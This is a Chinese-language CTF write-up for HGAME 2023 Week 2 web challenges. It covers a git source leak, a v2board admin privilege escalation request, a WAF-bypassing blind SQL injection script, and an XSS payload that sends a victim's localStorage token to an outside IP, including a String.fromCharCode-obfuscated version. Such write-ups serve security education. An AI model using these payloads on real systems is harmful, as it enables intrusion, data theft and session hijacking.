

HGAME2023 WEB WP

Week2

Git Leakage

```
python GitHack.py http://week-2.hgame.lwsec.cn:31837/.git/
```

v2board

- 机场题复现
- <https://github.com/vulhub/vulhub/blob/master/v2board/1.6-privilege-escalation/README.zh-cn.md>

Request		Response	
Pretty	Raw	Pretty	Raw
<pre>1 GET /api/v1/admin/user/fetch HTTP/1.1 2 Host: week-2.hgame.lwsec.cn:30594 3 Cache-Control: max-age=0 4 Upgrade-Insecure-Requests: 1 5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/av if,image/webp,image/apng,*/*;q=0.8,application/signed-exchange ;v=b3;q=0.9 7 Accept-Encoding: gzip, deflate 8 Authorization: MjMzMzMzMzMzM0BxcS5jb206JDJ5JDEwJHo1R1ZyQWljUlBtaXdjMGFVcFdLR0 9GZTVHdzJiaDZLMGI1VG9NMfHDMWZqRTNhMkNVZ0Fh 9 Accept-Language: zh-CN,zh;q=0.9 10 Cookie: _ga=GA1.1.349204127.1673528450; _ga_P1E9Z5LRRK= GS1.1.1673528449.1.1.1673528984.0.0.0 11 Connection: close 12 13</pre>		<pre>}, { "id":1, "invite_user_id":null, "telegram_id":null, "email":"admin@example.com", "password": "\$2y\$10\$JLs3LJrKqsTly8K.w9KzI.e0Jt\7oU9W3gQYcUDSRjg1LR imLLTS", "password_algo":null, "password_salt":null, "balance":0, "discount":null, "commission_type":0, "commission_rate":null, "commission_balance":0, "t":0, "u":0, "d":0, "transfer_enable":0, "banned":0, "is_admin":1, "is_staff":0, "last_login_at":null, "last_login_ip":null, "uuid":"85a1c66e-d736-42b2-a0da-69f6fb066e90", "group_id":1, "plan_id":1, "remind_expire":1, "remind_traffic":1, "token":"39d580e71705f6abac9a414def74c466", "remarks":null, "expired_at":0, "created_at":1673263308, "updated_at":1673267067, "total_used":0, "plan_name":"Vidar-Team Plane\ud83d\udee9", "subscribe_url": "http://\week-2.hgame.lwsec.cn:30594\api\v1\client\v subscribe?token=39d580e71705f6abac9a414def74c466" }</pre>	

Search Commodity

- 弱密码admin123
- waf方式猜测是直接抹去关键词

```
database union = where from > < select
```

order By判断字段数

```
search id=1/*1*/oRDer/*1*/by/*1*/4
```

exp

盲注最后注出来不准，贴下脚本

```
import string

import requests

url = "http://week-2.hgame.lwsec.cn:30033/search"

header = {
    "Cookie":
"SESSION=MTY3MzYxMTMyMXxEi1CQkFFQ180SUFBUkFCRUFBQUUpQLUNBQUVHYzNSeWFXNW
5EQVlBQkhWelpYSUdjMlJ5YVc1bkRBZ0FCblZ6WlhJd01RPT18a0_tv5hoSqYv-
8JbodLcrD6uMbJBR0eoT9rk_UjPfVA="
}

# str =
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{"
# str =
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!#$%&() ?
@{}"
str = "0123456789abcdefghijklmnopqrstuvwxyz!#$%&'()*+,-./:?[\\]^_`{|}~"
# str = "0123456789abcdefghijklmnopqrstuvwxyz_{"
# str = string.printable

# se4rch
# data = {
#     'search_id': "4-
IF((DATABASE())like'{}%',3,0);#".format(flag + j)
#     }

# version 8

# 5ecret15here
# data = {
#     'search_id': "4-
IF((select/*1*/group_concat(table_name)/*1*/frOm/*1*/infoRmAtion_schema
.tables/*1*/whEre/*1*/taBle_sChema/*1*/like'se4rch')like'{}%',3,0);#".f
ormat(
#     flag + j)
# }

# f14gggg1shere
# data = {
```

```

#         'search_id': "4-
IF((selectT/*1*/group_concat(column_name)/*1*/frOm/*1*/infoRmAtion_schem
a.columns/*1*/whEre/*1*/table_name/*1*/like'5ecret15here')like'{}%',3,0
);#".format(
#             flag + j)
# }

#
# data = {
#         'search_id': "4-
IF((selectT/*1*/fl4gggg1shere/*1*/frOm/*1*/se4rch.5ecret15here)like'{}%'
,3,0);#".format(flag + j)
#     }
# flag = "hgame{4_m4n_wh0_kn0ws_we4k-p4ssw0rd"
# flag = "hgame{4_m4n_wh0_kn0ws_we4k_p4ssw0rd_and_nd_sql__"
flag = ""

for i in range(0, 60):
    for j in str:
        data = {
            'search_id': "4-
IF((right((selectT/*1*/fl4gggg1shere/*1*/frOm/*1*/se4rch.5ecret15here),1
5))like'{}%',3,0);#".format(flag + j)
        }
        print(data)
        result = requests.post(url, headers=header,data=data)
        # print(result.text)
        if 'hard disk' in result.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break

```

Designer

- exp

```

POST /button/share HTTP/1.1
Host: week-2.hgame.lwsec.cn:31434
Content-Length: 439
Accept: application/json, text/plain, */*

```

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNjaXZhYmhmYWwle2Zha2VfZmxhZl9oZXJlfSIsImhhdmCI6MTYzMzc0ODMxNSwic3R5bGUiOnsiaW9yZWVyaGVhZGlscyIjBweCisImJhy2tncm9lbmQtY29sb3IiOiIjMjAzNmEyIiwiaWF0eSB3IiOiIjMDAwMDAwIiwiaW9yZWVyaGVhZdpZHRoIjoibXB4IiwiaW9yLXNoYWRvdyI6IjNweCAzeChggIzAwMCJ9fQ.IcaUj5hmbXug_G-617vAFomriJXA6T6dOFSVPos1prs
```

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://week-2.hgame.lwsec.cn:31434
Referer: http://week-2.hgame.lwsec.cn:31434/button/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.2031377811.1673529154;
_ga_P1E9Z5LRRK=GS1.1.1673602791.2.0.1673602791.0.0.0;
SESSION=MTY3MzYxMTMyMXxEidlCqkFFQ180SUFBukFCRUFBQuPQLUNBQUVHYzNSEWFXNW5EQVLBQkhWelPYsudjm1J5Yvc1bkRBZ0FcblZ6Wlhjd01RPt18a0_tv5hoSqYv-
8jbodLCrD6uMbJBROeoT9rk_UjpPfVA=

Connection: close

- 对于黑名单的绕过采用String.fromCharCode, 安利一波p牛的[小工具网站](#)
-

当前时间戳

当前UA

随机UA

```
window.location.href='http://118.178.126.49:2333?1ue='+localStorage.token;
```

URL编码

URL全编码

URL解码

Base64编码

URL Safe Base64编码

Base64解码

Hex编码

Hex解码

Html10编码

Htmlspecialchars编码

Html10解码

Html16编码

Html16解码

JS8编码

JS8解码

JS16编码

JS16解码

Unicode编码

Unicode解码

StringCharCode

NFKCEncode

Java Bash

直接执行

复制

```
String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,49,56,46,49,55,56,46,49,50,54,46,52,57,58,50,51,51,51,63,49,117,101,61,39,43,108,111,99,97,108,83,116,111,114,97,103,101,46,116,111,107,101,110,59)
```

URL编码

URL全编码

URL解码

Base64编码

URL Safe Base64编码

Base64解码

Hex编码

Hex解码

Html10编码

Htmlspecialchars编码

Html10解码

Html16编码

Html16解码

JS8编码

JS8解码

JS16编码

JS16解码

Unicode编码

Unicode解码

StringCharCode

NFKCEncode

Java Bash

直接执行

复制

- 解释一下为什么使用了 `a` 标签的 `href` 属性而不是直接 `<script>`，可以看一下源码这一段

```
app.post("/button/share", auth, async (req, res) => {
  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: ['--no-sandbox']
  });
  const page = await browser.newPage()
  const query = querystring.encode(req.body)
  await page.goto('http://127.0.0.1:9090/button/preview?' + query)
  await page.evaluate(() => {
    return localStorage.setItem("token", "jwt_token_here")
  })
  await page.click("#button")

  res.json({ msg: "admin will see it later" })
})
```

- 如果使用了 `<script>` 标签，会在进入页面时直接触发js代码，但此时还没有经过 `page.evaluate`，所以得到的token为undefined。

- 所以我们的目标是 `page.click("#button")` 按钮点击事件触发payload。